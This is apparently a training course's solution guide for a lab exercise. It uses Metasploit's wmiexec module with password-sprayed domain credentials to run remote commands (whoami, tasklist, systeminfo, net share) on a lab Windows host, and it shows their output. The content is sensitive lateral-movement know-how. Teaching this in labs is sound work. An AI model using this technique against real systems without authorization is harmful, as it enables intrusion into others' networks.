



Solution Guide: WMI

In this activity, you leveraged two sets of credentials and used a Metasploit module in order to run commands on the remote machine.

Instructions

1. In Kali, open a terminal and start Metasploit (if not already started), then load the `scanner/smb/impacket/wmiexec` module.
2. View the options for the module, and set the RHOSTS, SMBDomain, SMBPass, and SMBUser fields to the target IP and credentials that you verified from password spraying.

```
msf6 auxiliary(scanner/smb/impacket/wmiexec) > options
Module options (auxiliary/scanner/smb/impacket/wmiexec):
```

Name	Current Setting	Required	Description
COMMAND	whoami	yes	The command to execute
OUTPUT	true	yes	Get the output of the executed command
RHOSTS	172.22.117.20	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
SMBDomain	megacorpone	no	The Windows domain to use for authentication
SMBPass	Password!	yes	The password for the specified username
SMBUser	tstark	yes	The username to authenticate as
THREADS	1	yes	The number of concurrent threads (max one per host)

```
msf6 auxiliary(scanner/smb/impacket/wmiexec) > █
```

3. Set the COMMAND parameter to "whoami."
 1. `set COMMAND whoami`
4. Run the module. You should see the output "megacorpone\tstark", as the image shows:

```
msf6 auxiliary(scanner/smb/impacket/wmiexec) > run

[*] Running for 172.22.117.20 ...
[*] 172.22.117.20 - SMBv3.0 dialect used
[*] megacorpone\tstark

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/impacket/wmiexec) > █
```

5. Change the COMMAND parameter to list the processes.

1. `set COMMAND tasklist`
2. The following image shows the output:

```
msf6 auxiliary(scanner/smb/impacket/wmiexec) > run

[*] Running for 172.22.117.20 ...
[*] 172.22.117.20 - SMBv3.0 dialect used
[*]
Image Name                PID Session Name      Session#  Mem Usage
-----
System Idle Process       0 Services          0          8 K
System                    4 Services          0         124 K
Registry                  72 Services          0        5,768 K
smss.exe                  360 Services          0         256 K
csrss.exe                 456 Services          0        2,136 K
wininit.exe               528 Services          0        2,284 K
csrss.exe                 540 Console            1        1,272 K
services.exe              596 Services          0        5,404 K
winlogon.exe              624 Console            1        4,636 K
lsass.exe                 632 Services          0       14,188 K
fontdrvhost.exe           752 Console            1         896 K
fontdrvhost.exe           760 Services          0        1,380 K
svchost.exe               768 Services          0       13,916 K
svchost.exe               856 Services          0        8,084 K
dwm.exe                   944 Console            1       16,324 K
LogonUI.exe               952 Console            1      32,244 K
svchost.exe               444 Services          0       50,580 K
svchost.exe               460 Services          0        7,112 K
svchost.exe               520 Services          0       10,344 K
svchost.exe               728 Services          0       16,936 K
svchost.exe               392 Services          0       18,484 K
svchost.exe               868 Services          0        5,016 K
svchost.exe              1012 Services          0       14,148 K
svchost.exe              1124 Services          0       13,448 K
svchost.exe              1396 Services          0       11,172 K
svchost.exe              1508 Services          0        6,828 K
svchost.exe              1600 Services          0        5,872 K
VSSVC.exe                 1800 Services          0        3,052 K
Memory Compression        1848 Services          0       46,548 K
svchost.exe              1920 Services          0        3,244 K
svchost.exe              2012 Services          0        2,756 K
svchost.exe              2032 Services          0        4,516 K
spoolsv.exe               1700 Services          0       13,636 K
svchost.exe              2168 Services          0       22,064 K
MsMpEng.exe              2324 Services          0      115,148 K
svchost.exe              2680 Services          0        5,380 K
```

6. Using other commands, answer the following questions:
 1. What is the version and build number of Windows?
 - `systeminfo`
 - 10.0.19042 Build 19042
 2. What processor architecture is the machine?

- `systeminfo`

- x64

3. Are there any users logged in?

- `net session`

- No

4. What shares are available on the machine?

- `net share`

- C\$, IPC\$, ADMIN\$